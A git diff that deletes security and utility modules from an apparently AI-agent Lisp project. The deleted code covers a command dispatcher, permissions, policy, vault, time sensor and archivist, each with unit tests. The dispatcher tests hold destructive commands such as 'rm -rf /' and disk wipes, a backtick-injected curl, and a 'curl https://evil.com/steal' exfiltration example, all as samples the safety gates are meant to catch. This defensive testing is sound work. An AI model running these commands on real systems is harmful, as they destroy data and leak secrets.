writes pass through - (let ((result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type)))))) - -(test test-check-shell-safety - "Contract 3: dispatcher-check-shell-safety detects dangerous commands." - (is (dispatcher-check-shell-safety "rm -rf /")) - (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) - (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) - (is (not (dispatcher-check-shell-safety "echo hello world"))) - (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) - -(test test-shell-safety-severity-catastrophic - "Contract 3/v0.4.3: destructive commands return :catastrophic severity." - (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) - (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) - (is (eq :catastrophic (getf r1 :severity))) - (is (eq :catastrophic (getf r2 :severity))))) - -(test test-shell-safety-severity-dangerous - "Contract 3/v0.4.3: injection patterns return :dangerous severity." - (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) - (is (eq :dangerous (getf result :severity))))) - -(test test-shell-safety-severity-safe - "Contract 3/v0.4.3: harmless commands return nil." - (is (null (dispatcher-check-shell-safety "echo hello world"))) - (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) - (is (null (dispatcher-check-shell-safety "cat file.txt")))) - -(test test-dispatcher-severity-max - "dispatcher-severity-max returns the higher tier." - (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) - (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) - (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) - (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) - -(test test-check-privacy-tags - "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." - (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) - (is (dispatcher-check-privacy-tags '("@personal"))) - (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) - -(test test-check-network-exfil - "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." - (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) - (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) - (is (not (dispatcher-check-network-exfil "echo hello")))) - -;; ── v0.7.2 Tag Stack ── - -(test test-tag-categories-load - "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." - (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") - (passepartout::tag-categories-load) - (let ((cats passepartout::*tag-categories*)) - (is (>= (length cats) 1)) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :warn (passepartout::tag-category-severity "@draft"))) - (is (eq :log (passepartout::tag-category-severity "@review")))) - (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) - -(test test-tag-category-severity-unknown - "Contract v0.7.2: unknown tag returns nil." - (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) - -(test test-privacy-severity-block - "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." - (setf passepartout::*tag-categories* '(("@personal" . :block))) - (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) - -(test test-privacy-severity-warn - "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." - (setf passepartout::*tag-categories* '(("@draft" . :warn))) - (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) - -(test test-privacy-severity-nil - "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." - (setf passepartout::*tag-categories* nil) - (is (null (passepartout::dispatcher-privacy-severity '("public"))))) - -(test test-tag-trigger-record - "v0.7.2: tag-trigger-record increments per-tag count." - (clrhash passepartout::*tag-trigger-count*) - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@draft") - (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) - (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) - (clrhash passepartout::*tag-trigger-count*)) - -(test test-tag-categories-privacy-fallback - "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." - (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) - (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) - (saved-tag (uiop:getenv "TAG_CATEGORIES")) - (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) - ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES - (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) - (sb-posix:unsetenv "TAG_CATEGORIES") - (passepartout::tag-categories-load) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :block (passepartout::tag-category-severity "@draft"))) - ;; Restore - (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) - (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) - (passepartout::tag-categories-load))) - -(test test-safe-tool-read-only-auto-approve - "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." - (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "test-ro-tool" - :description "Read-only test" - :parameters nil - :guard nil - :body nil - :read-only-p t)) - (unwind-protect - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) - (result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type))) - (is (not (member (getf result :type) '(:LOG :approval-required))))) - (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) - -(test test-safe-tool-write-still-checked - "Contract v0.7.2: write tools still go through full dispatcher check." - (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "write-file" - :description "File writer" - :parameters nil - :guard nil - :body nil - :read-only-p nil)) - (unwind-protect - (progn - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) - (result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (is (search "HITL" (getf (getf result :payload) :message))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false") - (if orig-tool - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) - (remhash "write-file" passepartout::*cognitive-tool-registry*))))) -#+end_src* v0.8.0 Tests — Block Counts -#+begin_src lisp -(in-package :passepartout-security-dispatcher-tests) - -(test test-block-record-increments - "Contract 10: dispatcher-block-record increments per-gate count." - (clrhash passepartout::*dispatcher-block-counts*) - (is (= 1 (passepartout::dispatcher-block-record :shell-safety))) - (is (= 2 (passepartout::dispatcher-block-record :shell-safety))) - (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*)))) - -(test test-block-counts-summary - "Contract 11: dispatcher-block-counts-summary returns total and by-gate." - (clrhash passepartout::*dispatcher-block-counts*) - (passepartout::dispatcher-block-record :shell-safety) - (passepartout::dispatcher-block-record :shell-safety) - (passepartout::dispatcher-block-record :secret-path) - (let ((s (passepartout::dispatcher-block-counts-summary))) - (is (= 3 (getf s :total))) - (let ((by-gate (getf s :by-gate))) - (is (= 2 (cdr (assoc :shell-safety by-gate)))) - (is (= 1 (cdr (assoc :secret-path by-gate))))))) - -(test test-block-counts-empty - "Contract 11: dispatcher-block-counts-summary returns zero when no blocks." - (clrhash passepartout::*dispatcher-block-counts*) - (let ((s (passepartout::dispatcher-block-counts-summary))) - (is (= 0 (getf s :total))) - (is (null (getf s :by-gate))))) diff --git a/lisp/security-permissions.lisp b/lisp/security-permissions.lisp deleted file mode 100644 index 07af4ec..0000000 --- a/lisp/security-permissions.lisp +++ /dev/null @@ -1,44 +0,0 @@ -(in-package :passepartout) - -(defvar *permission-table* (make-hash-table :test 'equal)) - -(defun permission-set (tool-name level) - "Sets the permission level for a tool." - (setf (gethash (string-downcase (string tool-name)) *permission-table*) level)) - -(defun permission-get (tool-name) - "Retrieves the permission level for a tool. Defaults to :ask." - (gethash (string-downcase (string tool-name)) *permission-table* :ask)) - -(defskill :passepartout-security-permissions - :priority 600 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-permissions-tests - (:use :cl :fiveam :passepartout) - (:export #:permissions-suite)) - -(in-package :passepartout-security-permissions-tests) - -(def-suite permissions-suite :description "Verification of Tool Permissions") -(in-suite permissions-suite) - -(test test-permission-round-trip - "Contract 1: permission-set stores a level; permission-get retrieves it." - (permission-set "test-tool" :allow) - (is (eq :allow (permission-get "test-tool"))) - ;; Clean up - (permission-set "test-tool" nil)) - -(test test-permission-default - "Contract 2: unregistered tools default to :ask." - (is (eq :ask (permission-get "never-registered-tool-xyz")))) - -(test test-permission-case-insensitive - "Contract 3: tool names are normalized to lowercase." - (permission-set :CapitalTool :deny) - (is (eq :deny (permission-get :capitaltool))) - (permission-set "CapitalTool" nil)) diff --git a/lisp/security-policy.lisp b/lisp/security-policy.lisp deleted file mode 100644 index b39d0ac..0000000 --- a/lisp/security-policy.lisp +++ /dev/null @@ -1,50 +0,0 @@ -(in-package :passepartout) - -(defun policy-compliance-check (action context) - "Enforces constitutional invariants on proposed actions." - (declare (ignore context)) - (let* ((payload (proto-get action :payload)) - (explanation (proto-get payload :explanation))) - (if (and explanation (stringp explanation) (> (length explanation) 10)) - action - (progn - (log-message "POLICY VIOLATION: Action lacks sufficient explanation.") - (list :type :LOG - :payload (list :level :warn - :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning.")))))) - -(defskill :passepartout-security-policy - :priority 500 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic #'policy-compliance-check) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-policy-tests - (:use :cl :fiveam :passepartout) - (:export #:policy-suite)) - -(in-package :passepartout-security-policy-tests) - -(def-suite policy-suite :description "Verification of the Constitutional Policy Layer") -(in-suite policy-suite) - -(test test-policy-passes-valid-explanation - "Contract 1: action with sufficient explanation passes through unchanged." - (let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today."))) - (result (policy-compliance-check action nil))) - (is (equal action result)))) - -(test test-policy-rejects-short-explanation - "Contract 1: action with explanation ≤10 characters is rejected with :LOG." - (let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi"))) - (result (policy-compliance-check action nil))) - (is (eq :LOG (getf result :type))) - (is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal)))) - -(test test-policy-rejects-missing-explanation - "Contract 1: action without :explanation is rejected." - (let* ((action '(:type :REQUEST :payload (:action :read))) - (result (policy-compliance-check action nil))) - (is (eq :LOG (getf result :type))))) diff --git a/lisp/security-validator.lisp b/lisp/security-validator.lisp deleted file mode 100644 index 1038805..0000000 --- a/lisp/security-validator.lisp +++ /dev/null @@ -1,43 +0,0 @@ -(in-package :passepartout) - -(defun validator-protocol-check (msg) - "Enforces structural schema compliance on protocol messages." - (validate-communication-protocol-schema msg)) - -(defskill :passepartout-security-validator - :priority 95 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (handler-case - (progn (validator-protocol-check action) action) - (error (c) - (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-validator-tests - (:use :cl :fiveam :passepartout) - (:export #:validator-suite)) - -(in-package :passepartout-security-validator-tests) - -(def-suite validator-suite :description "Verification of the Protocol Validator") -(in-suite validator-suite) - -(test test-validator-passes-valid-message - "Contract 1: a valid message passes protocol check." - (let ((msg '(:type :EVENT :payload (:sensor :heartbeat)))) - (handler-case - (progn - (validator-protocol-check msg) - (pass)) - (error (c) - (fail "Validator rejected a valid message: ~a" c))))) - -(test test-validator-rejects-missing-type - "Contract 1: a message missing :type is rejected." - (let ((msg '(:payload (:sensor :heartbeat)))) - (signals error - (validator-protocol-check msg)))) diff --git a/lisp/security-vault.lisp b/lisp/security-vault.lisp deleted file mode 100644 index cc7df7d..0000000 --- a/lisp/security-vault.lisp +++ /dev/null @@ -1,86 +0,0 @@ -(in-package :passepartout) - -(defvar *vault-memory* (make-hash-table :test 'equal) - "In-memory cache of sensitive credentials.") - -(defun vault-get (provider &key (type :api-key)) - "Retrieves a credential from the vault or environment." - (let* ((key (format nil "~a-~a" provider type)) - (val (gethash key *vault-memory*))) - (if val - val - (let ((env-var (case provider - (:gemini "GEMINI_API_KEY") - (:openai "OPENAI_API_KEY") - (:anthropic "ANTHROPIC_API_KEY") - (:openrouter "OPENROUTER_API_KEY") - (otherwise nil)))) - (when env-var (uiop:getenv env-var)))))) - -(defun vault-set (provider secret &key (type :api-key)) - "Stores a secret in the vault." - (let ((key (format nil "~a-~a" provider type))) - (setf (gethash key *vault-memory*) secret))) - -(defun vault-get-secret (provider) - "Retrieves a stored secret or token for a gateway provider." - (vault-get provider :type :secret)) - -(defun vault-set-secret (provider secret) - "Stores a secret or token for a gateway provider." - (vault-set provider secret :type :secret)) - -(defskill :passepartout-security-vault - :priority 600 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-vault-tests - (:use :cl :fiveam :passepartout) - (:export #:vault-suite)) - -(in-package :passepartout-security-vault-tests) - -(def-suite vault-suite :description "Verification of the Credentials Vault") -(in-suite vault-suite) - -(test test-vault-round-trip - "Contract 1: vault-set stores a value; vault-get retrieves it." - (let ((test-key :vault-test-round-trip) - (test-secret "secret-abc123")) - (vault-set test-key test-secret) - (is (string= test-secret (vault-get test-key))) - ;; Clean up - (vault-set test-key nil))) - -(test test-vault-missing-key - "Contract 2: vault-get returns NIL for an unset, unknown provider." - (is (null (vault-get :nonexistent-provider-xyz)))) - -(test test-vault-isolation - "Contract 5: storing for provider A does not affect provider B." - (vault-set :vault-prov-a "secret-a") - (vault-set :vault-prov-b "secret-b") - (is (string= "secret-a" (vault-get :vault-prov-a))) - (is (string= "secret-b" (vault-get :vault-prov-b))) - (vault-set :vault-prov-a nil) - (vault-set :vault-prov-b nil)) - -(test test-vault-secret-wrappers - "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret." - (let ((test-provider :vault-secret-test)) - (vault-set-secret test-provider "my-token") - (is (string= "my-token" (vault-get-secret test-provider))) - ;; Clean up - (vault-set-secret test-provider nil))) - -(test test-vault-type-isolation - "Contract 5: different :type values produce different keys." - (vault-set :vault-type-test "key-value" :type :api-key) - (vault-set :vault-type-test "secret-value" :type :secret) - (is (string= "key-value" (vault-get :vault-type-test :type :api-key))) - (is (string= "secret-value" (vault-get :vault-type-test :type :secret))) - (vault-set :vault-type-test nil :type :api-key) - (vault-set :vault-type-test nil :type :secret)) diff --git a/lisp/sensor-time.lisp b/lisp/sensor-time.lisp deleted file mode 100644 index 78079b0..0000000 --- a/lisp/sensor-time.lisp +++ /dev/null @@ -1,169 +0,0 @@ -(in-package :passepartout) - -(defvar *session-start-time* nil - "Universal time when sensor-time skill was loaded.") - -(defun session-duration () - "Returns duration in seconds since skill load, or nil if not initialized." - (when *session-start-time* - (- (get-universal-time) *session-start-time*))) - -(defun sensor-time-initialize () - "Record session start and register deadline-scanning cron." - (setf *session-start-time* (get-universal-time)) - (handler-case - (when (fboundp 'orchestrator-register-cron) - (orchestrator-register-cron "time-tick" - :action (lambda () (sensor-time-tick)) - :tier :reflex - :repeat "+1m")) - (error (c) - (log-message "SENSOR-TIME: Could not register cron: ~a" c)))) - -(defun format-time-for-llm (&key (session-duration-seconds nil)) - "Returns a TIME: section string for the system prompt. -When TIME_AWARENESS=false, returns empty string. -TIME_FORMAT: iso = 2026-05-08T06:30:00Z, natural = 6:30 AM UTC, Thu May 8 2026. -When session-duration-seconds is provided, includes session info." - (unless (or (uiop:getenv "TIME_AWARENESS") - (not (string-equal "false" (or (uiop:getenv "TIME_AWARENESS") "true")))) - (return-from format-time-for-llm "")) - (let ((time-aware (uiop:getenv "TIME_AWARENESS"))) - (when (and time-aware (string-equal time-aware "false")) - (return-from format-time-for-llm ""))) - (multiple-value-bind (sec minute hour date month year day daylight zone) - (decode-universal-time (get-universal-time) 0) - (declare (ignore daylight zone)) - (let* ((format (or (uiop:getenv "TIME_FORMAT") "iso")) - (iso-str (format nil "~4,'0d-~2,'0d-~2,'0dT~2,'0d:~2,'0d:~2,'0dZ" - year month date hour minute (round sec))) - (day-names '("Mon" "Tue" "Wed" "Thu" "Fri" "Sat" "Sun")) - (month-names '("Jan" "Feb" "Mar" "Apr" "May" "Jun" - "Jul" "Aug" "Sep" "Oct" "Nov" "Dec")) - (natural-str (format nil "~2,'0d:~2,'0d UTC, ~a ~a ~d ~d" - hour minute (nth day day-names) - (nth (1- month) month-names) date year)) - (time-str (if (string-equal format "natural") natural-str iso-str)) - (dur-str (when session-duration-seconds - (let* ((hours (floor session-duration-seconds 3600)) - (mins (floor (mod session-duration-seconds 3600) 60))) - (if (> hours 0) - (format nil " Session: ~dh ~dm." hours mins) - (format nil " Session: ~dm." mins)))))) - (if dur-str - (format nil "TIME: ~a.~a" time-str dur-str) - (format nil "TIME: ~a." time-str))))) - -(defvar *deadline-warning-minutes* nil) - -(defun sensor-time-tick () - "Scans memory for approaching deadlines. Returns a formatted note string -if any deadlines are within *deadline-warning-minutes*, nil otherwise. -Called by the time-tick cron job every minute." - (let ((warning-min (or *deadline-warning-minutes* - (ignore-errors - (parse-integer (uiop:getenv "DEADLINE_WARNING_MINUTES"))) - 60))) - (setf *deadline-warning-minutes* warning-min) - (let ((now (get-universal-time)) - (deadlines nil)) - (maphash (lambda (id obj) - (declare (ignore id)) - (let ((attrs (memory-object-attributes obj))) - (let ((deadline (getf attrs :DEADLINE)) - (scheduled (getf attrs :SCHEDULED)) - (title (getf attrs :TITLE))) - (dolist (prop (list deadline scheduled)) - (when prop - (handler-case - (let* ((parsed (parse-integer prop :junk-allowed t)) - (d-minutes (if parsed - (- (round (/ (- parsed now) 60)) - warning-min) - nil))) - (when (and d-minutes (< d-minutes warning-min)) - (push (list :title title - :minutes (- (round (/ (- (or parsed 0) now) 60)))) - deadlines))) - (error () nil))))))) - *memory-store*) - (when deadlines - (let* ((sorted (sort deadlines #'< :key (lambda (d) (getf d :minutes)))) - (parts (loop for d in sorted collect - (let* ((mins (getf d :minutes)) - (label (cond - ((< mins 0) (format nil "~dmin overdue" (- mins))) - ((= mins 0) "now") - (t (format nil "~dmin" mins))))) - (format nil "~a (~a)" (getf d :title) label))))) - (format nil "~d deadlines approaching: ~{~a; ~}" (length parts) parts)))))) - -(sensor-time-initialize) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-sensor-time-tests - (:use :cl :fiveam :passepartout) - (:export #:sensor-time-suite)) - -(in-package :passepartout-sensor-time-tests) - -(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines") -(in-suite sensor-time-suite) - -(test test-format-time-for-llm-includes-year - "Contract 1: format-time-for-llm returns a string with the current year." - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "202" result)) - (is (search "TIME" result)))) - -(test test-format-time-for-llm-utc - "Contract 1: iso format includes Z suffix." - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "Z" result)))) - -(test test-format-time-for-llm-natural - "Contract 1: natural format produces human-readable date." - (let ((old-env (or (uiop:getenv "TIME_FORMAT") ""))) - (unwind-protect - (progn - (setf (uiop:getenv "TIME_FORMAT") "natural") - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "UTC" result)))) - (setf (uiop:getenv "TIME_FORMAT") old-env)))) - -(test test-format-time-for-llm-with-session - "Contract 1: with session duration, includes session info." - (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720))) - (is (search "1h 2m" result)))) - -(test test-session-duration - "Contract 2: session-duration returns a positive number after init." - (passepartout::sensor-time-initialize) - (let ((dur (passepartout::session-duration))) - (is (numberp dur)) - (is (>= dur 0)))) - -(test test-sensor-time-tick-empty - "Contract 3: sensor-time-tick returns nil when no deadlines are near." - (clrhash passepartout::*memory-store*) - (let ((result (passepartout::sensor-time-tick))) - (is (null result)))) - -(test test-sensor-time-tick-detects-deadline - "Contract 3: sensor-time-tick detects a deadline close in time." - (clrhash passepartout::*memory-store*) - (setf passepartout::*deadline-warning-minutes* 120) - (let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago - (ingest-ast (list :type :HEADLINE - :properties (list :ID "deadline-test" - :TITLE "Submit report" - :DEADLINE (write-to-string near-future-time)) - :contents nil))) - (let ((result (passepartout::sensor-time-tick))) - (is (not (null result))) - (is (search "Submit report" result)))) diff --git a/lisp/symbolic-archivist.lisp b/lisp/symbolic-archivist.lisp deleted file mode 100644 index 9758821..0000000 --- a/lisp/symbolic-archivist.lisp +++ /dev/null @@ -1,279 +0,0 @@ -(in-package :passepartout) - -(in-package :passepartout) - -(defvar *archivist-last-scribe* 0 - "Universal time of the last Scribe distillation run.") - -(defvar *archivist-last-gardener* 0 - "Universal time of the last Gardener scan run.") - -(defvar *archivist-gardener-interval* 86400 - "Seconds between Gardener scans. Default: 24 hours.") - -(defun archivist-scribe-distill () - "Distills daily log entries into atomic notes. Reads the Memex daily/ -directory for log files modified since the last run, extracts headlines -as potential note seeds, and creates atomic note files in notes/ with -backlinks to the source daily entry." - (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR") - (namestring (merge-pathnames "memex/" (user-homedir-pathname))))) - (daily-dir (merge-pathnames "daily/" memex-dir)) - (notes-dir (merge-pathnames "notes/" memex-dir)) - (now (get-universal-time)) - (notes-created 0)) - (unless (uiop:directory-exists-p daily-dir) - (log-message "ARCHIVIST: Daily directory not found: ~a" daily-dir) - (return-from archivist-scribe-distill nil)) - (ensure-directories-exist notes-dir) - (handler-case - (let ((daily-files (uiop:directory-files daily-dir "*.org"))) - (dolist (file daily-files) - (let* ((filepath (namestring file)) - (file-mtime (ignore-errors (file-write-date filepath)))) - (when (and file-mtime (> file-mtime *archivist-last-scribe*)) - ;; Extract headlines from daily log - (let* ((content (handler-case (uiop:read-file-string filepath) - (error () nil))) - (headlines (when content - (archivist-extract-headlines content)))) - (dolist (hl headlines) - (when (archivist-create-note hl notes-dir filepath) - (incf notes-created)))))))) - (error (c) - (log-message "ARCHIVIST: Scribe error: ~a" c))) - (setf *archivist-last-scribe* now) - (when (> notes-created 0) - (log-message "ARCHIVIST: Scribe created ~d atomic notes" notes-created)) - notes-created)) - -(defun archivist-extract-headlines (content) - "Extracts first-level headlines and their content from Org text. -Returns a list of plists: (:title :content :tags )." - (let ((lines (uiop:split-string content :separator '(#\Newline))) - (results nil) - (current-title nil) - (current-lines nil) - (current-tags nil) - (in-properties nil)) - (dolist (line lines) - (let ((trimmed (string-trim '(#\Space) line))) - (when (string= trimmed ":PROPERTIES:") - (setf in-properties t)) - (when (string= trimmed ":END:") - (setf in-properties nil)) - (when (and in-properties (uiop:string-prefix-p ":TAGS:" trimmed)) - (setf current-tags - (mapcar (lambda (tag) (string-trim '(#\Space) tag)) - (uiop:split-string (string-trim '(#\Space) (subseq trimmed 6)) - :separator '(#\space #\tab))))) - (cond - ;; First-level headline - ((and (uiop:string-prefix-p "* " trimmed) - (not (uiop:string-prefix-p "**" trimmed))) - ;; Save previous - (when current-title - (push (list :title current-title - :content (format nil "~{~a~^~%~}" (nreverse current-lines)) - :tags current-tags) - results)) - (setf current-title (string-trim '(#\* #\Space) trimmed) - current-lines nil - current-tags nil - in-properties nil)) - ;; Content lines under current headline - (current-title - (unless (or (uiop:string-prefix-p "*" trimmed) - (string= trimmed ":PROPERTIES:") - (string= trimmed ":END:")) - (push line current-lines)))))) - ;; Save last headline - (when current-title - (push (list :title current-title - :content (format nil "~{~a~^~%~}" (nreverse current-lines)) - :tags current-tags) - results)) - (nreverse results))) - -(defun archivist-headline-to-filename (title) - "Converts a headline title to a valid atomic note filename. -Replaces spaces and special chars with underscores, downcases." - (let* ((clean (cl-ppcre:regex-replace-all "[^a-zA-Z0-9 ]" title "")) - (underscored (cl-ppcre:regex-replace-all "\\s+" clean "_")) - (lowered (string-downcase underscored))) - (if (> (length lowered) 100) - (subseq lowered 0 100) - lowered))) - -(defun archivist-create-note (headline notes-dir source-filepath) - "Creates an atomic note from a headline plist in the notes/ directory. -Headline is a plist (:title :content :tags ). -Returns T if note was created, nil if it already exists." - (let* ((title (getf headline :title)) - (content (or (getf headline :content) "")) - (tags (getf headline :tags)) - (filename (archivist-headline-to-filename title)) - (filepath (merge-pathnames (format nil "~a.org" filename) notes-dir)) - (source-basename (enough-namestring source-filepath - (merge-pathnames "" notes-dir)))) - (when (uiop:file-exists-p filepath) - (return-from archivist-create-note nil)) - (handler-case - (progn - (uiop:with-output-file (s filepath :if-exists nil) - (format s "#+TITLE: ~a~%" title) - (format s "#+FILETAGS: :atomic:note:~:[~;~{~a~^:~}~]~%" tags tags) - (format s "~%* ~a~%" title) - (format s ":PROPERTIES:~%") - (format s ":CREATED: ~a~%" (org-id-generate)) - (format s ":SOURCE: ~a~%" source-basename) - (format s ":END:~%") - (format s "~%~a~%" content) - (format s "~%* Backlinks~%") - (format s "- Source: [[file:~a][~a]]~%" source-basename - (file-namestring source-filepath))) - (log-message "ARCHIVIST: Created note ~a" (namestring filepath)) - t) - (error (c) - (log-message "ARCHIVIST: Failed to create note ~a: ~a" filepath c) - nil)))) - -(defun archivist-gardener-scan () - "Scans the Memex for broken file links and orphaned memory objects. -Broken links are =[[file:...]]= references whose target file does not exist. -Orphaned objects are =memory-object= entries whose =:parent-id= references -a deleted object. Returns a plist (:broken-links :orphans )." - (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR") - (namestring (merge-pathnames "memex/" (user-homedir-pathname))))) - (org-files (archivist-find-org-files memex-dir)) - (broken-links 0) - (orphans 0)) - ;; Scan for broken links - (dolist (file org-files) - (handler-case - (let* ((content (uiop:read-file-string file)) - (links (archivist-extract-file-links content))) - (dolist (link links) - (let ((target (merge-pathnames link (make-pathname :directory - (pathname-directory file))))) - (unless (uiop:file-exists-p target) - (log-message "ARCHIVIST: Broken link in ~a -> ~a" - (enough-namestring file memex-dir) link) - (incf broken-links))))) - (error () - (log-message "ARCHIVIST: Could not read ~a" file)))) - ;; Scan for orphaned memory objects - (handler-case - (let ((deleted-ids (make-hash-table :test 'equal))) - ;; In practice, we check if parent-id points to a non-existent object - (maphash (lambda (id obj) - (declare (ignore obj)) - (setf (gethash id deleted-ids) t)) - (if (boundp '*memory-store*) - (symbol-value '*memory-store*) - (make-hash-table :test 'equal))) - (let ((store (if (boundp '*memory-store*) - (symbol-value '*memory-store*) - (make-hash-table :test 'equal)))) - (maphash (lambda (id obj) - (let ((parent (memory-object-parent-id obj))) - (when (and parent (not (gethash parent store))) - (log-message "ARCHIVIST: Orphaned object ~a (parent ~a not found)" - id parent) - (incf orphans)))) - store))) - (error () - (log-message "ARCHIVIST: Memory store not available for orphan scan"))) - (setf *archivist-last-gardener* (get-universal-time)) - (list :broken-links broken-links :orphans orphans))) - -(defun archivist-find-org-files (memex-dir) - "Recursively finds all .org files under memex-dir, up to 3 levels deep." - (let ((files nil)) - (labels ((walk (dir depth) - (when (and (uiop:directory-exists-p dir) (< depth 3)) - (handler-case - (dolist (entry (uiop:subdirectories dir)) - (walk entry (1+ depth))) - (error ())) - (handler-case - (dolist (file (uiop:directory-files dir "*.org")) - (push (namestring file) files)) - (error ()))))) - (walk memex-dir 0)) - files)) - -(defun archivist-extract-file-links (content) - "Extracts all =[[file:...]]= link targets from Org content. -Returns a list of link target strings." - (let ((links nil)) - (cl-ppcre:do-register-groups (target) - ("\\[\\[file:([^\\]]+)\\]\\[" content) - (unless (search "::" target) ;; skip internal anchors - (pushnew target links :test #'string=))) - ;; Also handle bare [[file:target]] links - (cl-ppcre:do-register-groups (target) - ("\\[\\[file:([^\\]]+)\\]\\]" content) - (unless (search "::" target) - (pushnew target links :test #'string=))) - links)) - -(defun archivist-run (action context) - "Runs the archivist maintenance cycle. Checks Scribe and Gardener schedules -and dispatches as needed. Called by the deterministic gate." - (declare (ignore action context)) - (let ((now (get-universal-time))) - ;; Scribe runs every 6 hours (21600 seconds) - (when (>= (- now *archivist-last-scribe*) 21600) - (ignore-errors (archivist-scribe-distill))) - ;; Gardener runs every 24 hours - (when (>= (- now *archivist-last-gardener*) *archivist-gardener-interval*) - (ignore-errors - (let ((result (archivist-gardener-scan))) - (when (> (getf result :broken-links) 0) - (log-message "ARCHIVIST: Gardener found ~d broken links, ~d orphans" - (getf result :broken-links) (getf result :orphans))))))) - nil) - -(defskill :passepartout-symbolic-archivist - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat)) - :deterministic #'archivist-run) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-symbolic-archivist-tests - (:use :cl :passepartout) - (:export #:archivist-suite)) - -(in-package :passepartout-symbolic-archivist-tests) - -(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill") -(fiveam:in-suite archivist-suite) - -(fiveam:test test-extract-headlines - "Contract 1: archivist-extract-headlines parses Org content." - (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another 